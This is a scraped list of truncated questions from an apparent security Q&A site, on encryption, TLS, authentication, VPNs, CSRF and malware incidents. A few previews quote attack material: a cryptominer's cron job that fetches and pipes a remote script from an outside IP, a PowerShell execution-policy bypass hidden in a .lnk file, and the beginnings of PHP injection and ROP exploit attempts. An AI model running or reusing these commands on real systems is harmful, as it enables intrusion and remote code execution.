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While freelance software developers can show their work to potential clients by building personal projects or by showing their previous client's project how can a pentester do the same?
A pentester can't provide audit reports of previous clients as they are confidential and if he is new he may work for free for few cli... |
I am not talking about home networks (like hacking my wifi and using it). Can someone from another geographical location steal my IP address in some way?
For example:
I am angry with you. -> I want to make you suffer and managed to find
your IP address. -> I decided to steal your IP address (meaning
replace my IP ... |
I am trying to determine the type of encryption used for a site whose password is stored in the database. The site is built using the fuelphp. It has the password of the form (B65qdjYiMWzizMol7BmG4knKh4OAu9033kSAPcCK5Cs=) which encryption is this?
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I'm wondering what is the bank-grade encryption for traffic between a client (say, Windows app) and a server, both on local network. It looks like to use ssl encryption, they must have Internet access to verify SSL certificate from the CA.
What is the best encryption in practice now?
(Pardon me for novice's question ... |
Our support staff established remote access connection from jumphosts that are isolated within a DMZ. To provide support they need project files (up to a few GB of size) which are stored on a file server within our LAN. Currently, the transfer is always done manually, which consumes a lot of time.
Therefore, we thought... |
How to explain to traditional people why they should upgrade their old Windows XP device? <- The interesting point made in the highest upvoted answer to this Q is that a fully patched OS is largely insignificant for the security of an 'average home elder'. On the other hand, regular backups and AV software are essentia... |
I understand that it is easier for a human to intuitively figure out the alleged whereabouts of a machine if that machin's IP address is IPv6, rather than if its IPv4:
For example, since I configured my smartphone Access Point Name (APN) of the type APN protocol from including the value IPv4 to including the value IPv4... |
As a follow-up to the question in The DMZ, is an encrypted drive (full disk encrypted e.g. LUKS, BitLocker) protected against malware if it is not mounted when using a LiveCD?
The use case is that no other devices are available and there is a need to inspect potentially malicious files.
The assumptions are;
The malwa... |
Assuming that online storage providers are considered untrusted, if files and directories are encrypted, how can these be protected against fingerprinting?
The files are encrypted using rclone's implementation of Poly1305 and XSalsa20 before being backed up to the cloud provider.
According to rclone's documentation, th... |
I am curious as to how bug hunters / pen testers use DirBuster and GoBuster without getting their IPs banned all the time (which is why I am asking)?
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For context, the coldcard hardware wallet has a number pad as input. In order to maintain my sanity, I'd like to input an alphanumeric passphrase using a single keypress for each letter or number.
So for example, the password "boyhowdy123" would be typed "26946939123".
I know that doing this loses some security (beco... |
I just heard that somebody uses MD5 for hashing passwords. I thought about helping them to replace the algorithm to Argon2, but I am not sure which strategy to follow. I thought about 3 possible solutions:
hashing the MD5 hash with Argon2 as a quick fix (not sure how secure it would be, because it will inherit the col... |
I have seen that most companies use the TLS1.2 protocol, why not use the TLS1.3?
My question here is, what are these pros and cons of both, and currently what is a better option?
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I am practicing on some vulnerable application, and I am asked to find an injection vulnerability with a payload. it states there is a common and simple filter in place. Then I need to extract the flag value from the chlns table.
So I use SQLmap to find it.
Please read below and correct me if I am wrong in any stage:
s... |
As far as I know Android (Pie) is encrypted by default with some hardware-based password. But how secure is this encryption?
I am not talking about password compromise, but if somebody gets my phone, he just needs to turn it on to get data decrypted, so what’s the point? For what cases is this encryption designed?
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My ROP exploit crashes with segmentation fault for unknown reason.
This is a vulnerable code (compiled via command gcc h2.c -no-pie -fno-stack-protector -m32 -o h2):
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char string[100];
void exec_string() {
system(string);
}
void add_bin(int magic) {
if... |
If a device uses full disk encryption such as LUKS, BitLocker (with a pin), Veracrypt and others and boots using a complex password, what is the need for complex passwords to log into the operating system thereafter and why?
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Since I configured my smartphone Access Point Name (APN) of the type APN protocol from including the value IPv4 to including the value IPv4/IPv6, generally all different addresses I got after restarting my smartphone about 10 times, started with:
2001:44c8:
44c8 seems to me to stand for "Bangkok, Thailand".
Although... |
CDN are said to absorb and mitigate the Denial of Service and DDOS attacks. Consider an application that uses a CDN provider to deliver its content. So if an attacker tries to bring down such an application using DOS or DDOS, the flood of requests made during such an attack will go to the CDN servers. Will such a DDOS ... |
I'm not sure if an administrator can see my screen while I use my computer, can someone provide an answer with an explanation of how they can do it? I have an administrator on my computer, but not school level security where they have things installed.
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I'm trying to bypass a page that has an eval() and it works like this:
POST /anything.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
parameter1=aaa¶meter2=asdfas!-->
<?php echo "... |
Trying to get certificate v3, but getting v1. I'm using following commands:
openssl req -out server.csr -newkey rsa:2048 -nodes -keyout server.key -config san_server.cnf
openssl ca -config san_server.cnf -create_serial -batch -in server.csr -out server.crt
Configuration file san_server.cnf content:
[ca]
default_ca=CA_... |
For a few weeks, someone, probably a bot keep installing a bitcoin miner on my server, I find it because it is taking all the CPU. The process name is kdevtmpfsi located at /tmp/kdevtmpfsi, there's watch dog process kinsing located at /var/tmp/kinsing and a cronjob:
* * * * * wget -q -O - http://195.3.146.118/ex.sh | ... |
Scope: penetration testing of web server with critical information in it (user management).
I had an argument with my college about security in web sockets and I got stuck with him in one topic, which is the following:
Is it secure to let any inbound connection into the web-socket
without filtering the source of the c... |
Since the GDPR landed, many websites have to inform you about their cookie usage and give you an option to enable/disable them for provider and for reason of storage. Say that I find a link I want to read but they ask for consent of storing cookies in my device (which I would rather not, if possible)
Am I fine if I op... |
Do E-Mail proxy services exists to improve privacy and security?
Privacy in the sense that one wouldn't need to give a website his/her username (possibly even in the firstname.lastname@domain.tld form) and in a security sense that the used e-mail couldn't be used to log into the e-mail service (thereby making it useles... |
I know that if an application set debuggable to true in the manifest a user with physical access can debug the application and get access to the private directory of the debuggable application.
But is it possible from another installed app to exploit the debuggable application or is it only exploitable with physical ac... |
I am trying to crack a password protected id_rsa, with john the ripper. But it doesn't find the correct password for some reason.
I have create a new user and generated a new id_rsa with ssh-keygen (the password used is "password").
pwn@kali:~$ ls -l .ssh/
total 4 ... |
How can I find out the mode block cipher used in a PEM certificate I have?
It's been generated with an intermediate CA that does sha256WithRSAEncryption but I need to find out if it's a GCM or CBC to properly configure some devices.
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I was doing my plesk hosting logs checking for web and database development. Somehow, I had seen some weird ip trying to communicate to hosting. Wonder what is the purpose of these anonymous requests. Should I just ignore them as they are common issue happening around?
Thanks in advance. P/S: This website still in de... |
Per mine understanding, by default same origin policy(SOP) is enabled by default by all browsers. This means that a web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin.
My question is do we need to handle CSRF attack separately ... |
Company A owns a building and leases out 2 offices to other companies.
Telecom 1 provides internet to Router 1 with ip address x.x.x.121
Company A connects their router, Router A, to it and gives it IP address x.x.x.122
Company B connects their router, Router B, to it and gives it IP address x.x.x.123
Company C connect... |
From the official description:
HTTP Catcher is a web debugging proxy. It can be used to intercept, inspect, modify and replay web traffic.
Can someone explain to me how HTTP Catcher manages to do this? I have seen logs (sent to me by a colleague) where it seems that HTTP Catcher can show SSL traffic in clear for traf... |
I need to figure out how to run my application on Windows 10.
My application would run on an app-specific account (let's called it "App").
My application saves/reads PDFs from the folder "PDF". I need to make sure that ONLY the application and admin users may enter this folder. So I would add rights - so only admins ... |
I am testing a Web Application and i have found a endpoint which is returning some data in json the endpoint is this.
/api/vtexid/pub/authenticated/user
Now i was testing to find out that if this endpoint supports JSONP by appending a query parameter of ?callback=obj
/api/vtexid/pub/authenticated/user?callback=obj
... |
I am scanning Linux server which has two kernels versions stored, when I run following command I can see for example this version:
user@host [~]# rpm -q kernel
kernel-3.10.0-327.el7.x86_64
kernel-3.10.0-1062.4.1.el7.x86_64
When I run this command, which identifies the current kernel version that is being utilized on t... |
I have just configured my Windows 10 desktop PC at home to automatically log into my Windows 10 user account that my Microsoft account is linked to on startup. My desktop is in my bedroom upstairs and I trust my parents who I live with to not snoop around. However, I was wondering if this could have any security concer... |
If I know the hash of a program you intend to install is d306c9f6c5..., if I generate some other file that hashes to that value, I could wreak all sorts of havoc. - from https://nakamoto.com/hash-functions/
Theoretically, If you know the hash of a program one intends to install and you generate another file that hash... |
The standard file with packaging instructions (setup.py with setuptools) for Python contains an author_email field. Such a package can then be published to PyPI, but the code is also available publicly on github.
Am I unnecessarily cautious if I want to obfuscate the email address in the setup.py file (e.g. by calling ... |
can you please explain the strength of veracrypt and keepass compared?
Whats theoretically easier to break if both use the exact same password for their respective containers, the vcrypt or keepass file?
Are they both still considered in the dev community as "unbroken" and safe encryption tools for storing data? Or a... |
I have run into this scenario a couple of times now but am hoping to get either confirmation that I'm on the right track or a suggestion as to what else should be done.
Situation
I am building a back-end web service that provides access to sensitive data or privileged operations. This web service will not be publicly ... |
Years ago I had a bunch of bitcoin in a wallet that I encrypted. This was back when bitcoin was like $0.20 or $0.30 each. At one point I couple hundred of them but didn't know what to do with them. I lost the wallet & never really looked for it until the price skyrocketed especially digging for it when the price was at... |
I am wondering, if it should be possible to transfer PIN in case of migrating between different payment schemes like Mastercard or VISA.
For example, when I have a card issued by Mastercard, and it will be changed to VISA, is it possible to keep the same PIN after issuing new card from VISA?
From my perspective, and wh... |
This question was originally Does Firefox in VM have a common enough fingerprint so I don't need tor browser? in Tor community.
I want to know about what a web browser's fingerprint like in a VM, if
VM runs a common OS and have default system settings. Can VM be
configured to not have any of host machine's fingerp... |
If I send an email with an .exe attachment to an Outlook recipient, the email client blocks the attachment and the recipient has no way of overriding this security setting (short of making certain changes to the registry). If I send the same email to a Gmail recipient, the email is refused by the server.
Why are they b... |
While I came to this site from researching whether inactive (or flattened) PDF documents could contain viruses and have come across this link in this
site, it does not answer my question.
I need to devise a strategy to flatten PDF documents to prevent active fields to inflict any harm. So, could a flattened PDF docum... |
I want to be active on Twitter against our oppressive government. Can my government trace and detect me?
Twitter is banned here and we must use VPNs. I use Outline (Shadowsocks) mostly. Is there any way to trace users via information from the ISPs or something? If using Outline is not a good option, is using TOR a goo... |
I set up my own VPN by installing OpenVPN on a Ubuntu server, then I download client.ovpn file from Ubuntu server to my Windows laptop. And then, I import that client.ovpn to OpenVPN GUI app on Windows and finally, I connect to my Ubuntu VPN server and everything work fine.
I installed OpenVPN on Ubuntu server using t... |
I was involved in a conversation concerning the in-house vulnerability management program. One the statements made was that the management is generally not willing to accept risk and it should be aimed to mitigate it preferably in form of patching.
On the other hand, there are cases of applications that are vulnerable... |
I am working on lambda authorization and I learned that there are generally two options.
Either use the default authorizer on the API gateway level, which will do all the heavy lifting (validate the tokens), or write a custom authorizer, which will require me to implement all the logic including all the token validati... |
While testing a website i noticed a weird behaviour. When resetting the password a POST request with empty body is generated. The request is the following:
POST /reset/token/[token]/passwhord-hash
Now my question is: If google or any third party will intercept this request, will it also be able to log the password-hash... |
Backstory: been toying with the idea of setting up some raspberry pi cctv cameras. originally I was going to store all footage for 31 days (complying with DPA) on a network drive but decided against that as if there was a major incident at my property the drive might get stolen/damaged.
So I thought I could upload foot... |
OWASP recommends setting session timeouts to minimal value possible, to minimize the time an attacker has to hijack the session:
Session timeout define action window time for a user thus this window represents, in the same time, the delay in which an attacker can try to steal and use a existing user session...
For thi... |
For input validation on a website, are there any security concerns with disclosing to the user exactly what characters are valid or invalid for a given field?
CWE-200: Information Exposure says one should try not to disclose information "that could be useful in an attack but is normally not available to the attacker". ... |
Learning a bit about IT security, a segment of the material was the basics of steganography - specifically, hiding information in the lowest significance bits of images, and converting images into sounds. For the first it occurred to me that many sites compress user-uploaded images, effectively destroying any informati... |
All over the news today (2020-01-14) is the story that the NSA and Microsoft have reported a critical security vulnerability in Windows 10.
But I haven't been able to find clear instructions about how to ensure that Windows Update has worked properly.
When I click the Start button and then then type "winver" and click ... |
I often download files either using my browser or by torrenting. Few times, I encountered an attack where the torrented file was called something like movie.mp4.lnk and the target was set to run a powershell script using cmd.exe /c "powershell.exe -ExecutionPolicy Bypass ...". Fortunately, I always noticed the extensio... |
I already read good answers about preventing replay attacks with JWT and a lot of resources like jwt.io.
The conclusion was that I needed to use the jti claim. From: Can I prevent a replay attack of my signed JWTs?
My schema right now is simple:
User logs in.
Server answers with a JWT.
Client checks if it's valid and ... |
I have a form that takes multiple input fields and makes an API request via GET.
The fields are not properly sanitizing input and I am able to add arbitrary parameters to the query string by submitting input such as test&color=red.
Instead of some sort of encoding, the resulting API query looks like api.com/search?fi... |
My (limited) understanding is that my password is used to encrypt the keys which are used to encrypt my mail messages on protonmail's servers. Does that mean that knowledge of my password could potentially let an adversary find out what the keys associated to my account are, and thus render password change useless? Or ... |
I used an OpenSSL 1.0.1k 8 Jan 2015 version to generate a 32-bit RSA key, and I tried to generate a CSR for the key
$ openssl req -new -key privatekey.pem -out csr.pem
139645847348928:error:04075070:rsa routines:RSA_sign:digest too big for rsa key:rsa_sign.c:127:
139645847348928:error:0D0DC006:asn1 encoding routines:... |
Why do we need to ask the authorization server for theAuthorization code and then exchange the Authorization code for anAccess token on the same server? Why not to return anAccess token directly, without issuing anAuthorization code?
I do understand that it is specified by the standard but there should be some logic b... |
Many PHP frameworks such as Codeigniter on production environment opt-out to hide any PHP related error message. Also, that applies on other PHP frameworks as well such as Symphony and Laravel (with the appropriate settings).
So I wanted to know if this behavior increases slightly my web-app's security and how is secur... |
I joined a small project, I noticed that in the project uses something like a token associated with a user journey. So the URL looks something like: https://host.com/sell/:jurneyID.
All data entered during by the user in the journey are associated with the jurneyID including email, personal information and so on.
Tha... |
I am developing a website to sell a product that is very likely to be botted. The reason people will bot it is not to spam me or anything, but because they want to buy the product faster than anyone else.
My current strategy has been to lock my purchase page behind a password page. Then, when I release some stock I wil... |
I'm following this article : Android Security: SSL Pinning to implement certificate pinning in Android using OkHttp.
As our app clients do not update their app regulary I don't want to take the risk by using our server certification (Leaf certification) which will expire in about a month.
** Warning: Certificate Pinni... |
I need to store a frequently-changing set of encrypted data in a database. This can be encrypted and decrypted with an internal key. The data is based upon other metrics within the system, mostly the number of times various things have happened.
Encryption in this case only provides security by obscurity, in that if a ... |
I'm trying intercept my router's ACS requests which are behind HTTPS. I don't think my router validates certificates so it is possible to do a MitM attack. I'm using a debian installed laptop with two ethernet interfaces eth0 and eth1. eth0 is connected to WAN port of the router and eth1 is connected to actual WAN.
I p... |
Creating certificate:
openssl req -new -newkey rsa:2048 -keyout private/cakey.pem -out careq.pem -config ./openssl.cnf
I have value that tells openssl not prompt for req_distinguished_name fields:
[ req ]
prompt = no
If I use value "no" I get error:
problems making Certificate Request
1995860064:error:0D07A097:asn1 ... |
I am using Brave Browser Version 1.0.0 Chromium: 78.0.3904.97 (Official Build) (64-bit) on Ubuntu 18.04. The browser has an option, open new private window with Tor . When looking into cache files today, I found a folder named "Tor Profile", and then subdirectories "Cache" and "Code Cache". They further have some subd... |
I am trying to protect a macOS computer. Specifically, I want to prevent the machine from making unwanted connections over the internet.
I am aware of firewalls of course. But I stumbled upon the idea of adding many domain names to /etc/hosts, and redirect them to 0.0.0.0 to prevent connections to them.
Is this method ... |
Does the definition of a drive by download include malicious execution of an unaccepted downloaded file or is the unaccepted download of a file the drive by download by itself? I didn't find a good/clear definition.
Why is it possible to download files with a hidden iframe, so the user isn't even asked if he wants to d... |
What is considered as safe method to store files in the cloud currently and in the future (quantums) so that no potential hacker could open the file? Which current encryption methods to use for it to not being brute forced?
Thanks
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I'm getting conflicting reports.
Search in Google: "windows 7" fix CVE-2020-0601
The top result (from PCWorld) claims that "contrary to earlier rumors, it does not affect Windows 7".
Scrolling down finds a bunch of articles that claim it affects Windows 7 and newer.
Can anyone confirm if the exploit affects Windows 7, ... |
In recent times, there has been an escalating demand by legislators in the US and the world around to be able to decrypt phones that come pre-configured with strong encryption. Key escrow is commonly suggested as a solution, with the risk seeming to arise out of the escrow agent misusing or not appropriately securing ... |
So, I have Google alerts set for a few words, and one of these alerts had a link to the site "chatsosedi.ru" which I opened. I found out the site isn't https. I clicked on it before realizing. Is it safe, & what can I do to secure my email and phone now? Thanks
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I want to create a web application with a login form and authenticate with Active Directory account. Our users sometimes use a device that users cannot log in, so we don't want to use Windows Authentication.
How it's set up right now is:
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public ActionResult Log... |
I've observed the practice of generating dedicated issuer CAs for signing TSU (Time-Stamping Unit) certificates instead of just using another existing issuer CA, for example, one used to sign S/MIME certificates or SSL certificates.
Now, some examples of the certification paths I found around:
- CN=DigiCert Assured ID ... |
A friend of mine said he could know which apps are installed on certain device and which apps are interacting with each other through the router logs. Is that possible? Can the logs give such an info. For example, I've installed WeChat. Can the logs from the router show that I've installed WeChat?
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This question occurred to me when using online banking. My wife and I have a joint account. The username to login to internet banking is just our account number, so it is the same for both of us. Nevertheless the bank supplied us with 2 distinct passwords.
If the passwords where only given out by the bank and we would... |
We've recently been seeing new security events being flagged to the SOC for activity involving LSASS usage from the wmiprvse.exe process across multiple Windows servers. We've investigated the wmiprvse.exe process by reviewing the process ID and found it to be the legitimate version of the process.
The leading belief ... |
Given three parties (all in the same LAN): A client, a server, and a MITM. The client and server communicate wirelessly, and don't encrypt their messages. The MITM can see the messages, but question is: could he modify the packets sent from the client?
The wireless network is not owned by the MITM, but he can see the p... |
I know that in terms of security it is not good idea (as explained here: https://github.com/Yubico/libu2f-host/issues/45#issuecomment-337013420). But we can live with that.
Is there any extension of U2F or may be some version/manufacturer of security keys which allow to do that?
The feature our customer wants to have i... |
I received a report from the security team today. The report contains the below mentioned vulnerabilities and descriptions:
1) Poor Error Handling: Overly Broad Throws
The methods in program1.java throws a generic exception making it harder for callers to do a good job of error handling and recovery.
2) Poor Error Han... |
There are a lot of arguments around whether web applications can implement end to end encryption. Most of the arguments against javascript based solutions are centered around the fact that the the communication under consideration is between two parties which uses that web application as a channel for communication. (E... |
My daughter received a masked link and clicked it, she knows better but it was masked as google.com/herusername.
https://accounts.youtube.com/accounts/SetSID?ilo=1&ddb159557ad30bff1245309e7fa3945d=30c932f295d35f2397f95d54f32c2695&ils=a27555d5867549c10d9496979e5a7e38&ilc=0&continue=https%3A%2F%2Fhangouts.google.com%2Fli... |
I get absolutely no cell coverage in the building I'm working in, nor do I have access to wifi, so any time I need to use 2-factor authentication, I cannot receive the push request.
I've been using the "passcode" feature to log in as an offline alternative, but I was curious if this method will work forever. Does it ev... |
I had an idea a little while back to have an ID card with a QR code on it that you kept in your wallet. When you want to access your passwords (view them directly), you need your ID card and to scan it with your password protected iPhone. This then reveals your desired passwords.
But I'm thinking about it more and it d... |
On the recent Australian Bushfire event, people are donating to help them. But some inhumane(cybercriminals) are stealing people's money by injecting malicious script on e-commerce and donation sites. For people, it seems that they have donated the money to the right donation site but all the credit card info along wit... |
My goal is to prevent man-in-the-middle (MITM) attacks through proxies. I've implemented SSL pinning, which has helped significantly, but I'm wondering if there's anything more I can do that's worth the time in securing my connection? What can a user do to get around SSL pinning? Is there anything I can do to further p... |
I realize that OWASP recommends CSRF tokens but I rarely see them used with public standalone HTTP APIs. This would seem to indicate that they're not always necessary.
To make this a little more concrete, I would envision the following scenario:
The API server serves a limited number of frontends with an explicit CORS... |
I am currently working on a web application with sensitive data to store (personal medical data). The app is on the very first stages of conception and I am to quickly produce a beta version that would be used, while on a very narrowed scale, in production, with real people's data. Following a few month of beta testing... |
I am in the process of creating an IRP that responds to system hacks.
I have attacked the Windows 10 myself (victim machine), using Metasploit on Kali Linux software, where I managed to gain access via SSH port 22. From there I have modified file extensions, accessed personal folders etc - on the victim machine.
As p... |
My friend walked into work with a porn site loaded into incognito in the background.
He didn't click it while at work or open chrome it was just a background window.
Would it ping it or anything like that when it connected to wifi?
They have identified logins for the wifi so maybe they could trace the login back to him... |
I currently use mod_security in combination with maldec and block almost all attempts to upload shells, leading them to error 406. However, I found one "problem" if I upload Shell through an ftp client then I can use shell in hosting. my question is how to block the opening of the shell even if uploaded via ftp? any ... |
I'm doing research about Information Security Controls. Considering that the topic is very wide, I would like to organize in macro categories the security controls that can be adopted by an enterprise to reduce the risk of attack.
For example:
Control Category 1: Vulnerability Assessment
Control Category 2: Patching
C... |
I recently downloaded an ELF file which was discovered from an exploit attempt (wget to download this binary failed due to outgoing traffic being blocked if it isn't whitelisted). I downloaded it into a VM in order to run some basic analysis on it and uploaded it to virustotal.
My question is, absent some sort of terr... |
I'm currently developing an Android (and probably iOS in the future) application for my company.
I was wondering what is the most unique data identifier to authenticate the users. A data that cannot be repeated through users. For example:
Email? That user can log in with another phone using the email and password
Phon... |
For the sole purpose of learning, I am trying to figure out how disk encryption software is able to recover password of an encrypted disk using a challenge response mechanism.
Th recovery process usually goes like that:
You forgot your password on a device that has an encrypted disk (eg : laptop). The PBA (pre boot a... |
Upon doing a bit of research about the OAuth protocol, I find it hard to avoid the glaring criticism of the OAuth 2 standard, and its supposedly inferior security. An answer on stackoverflow suggests, as it outlines differences in the flow of each protocol
OAuth 1.0 Flow
Client application registers with provider, s... |
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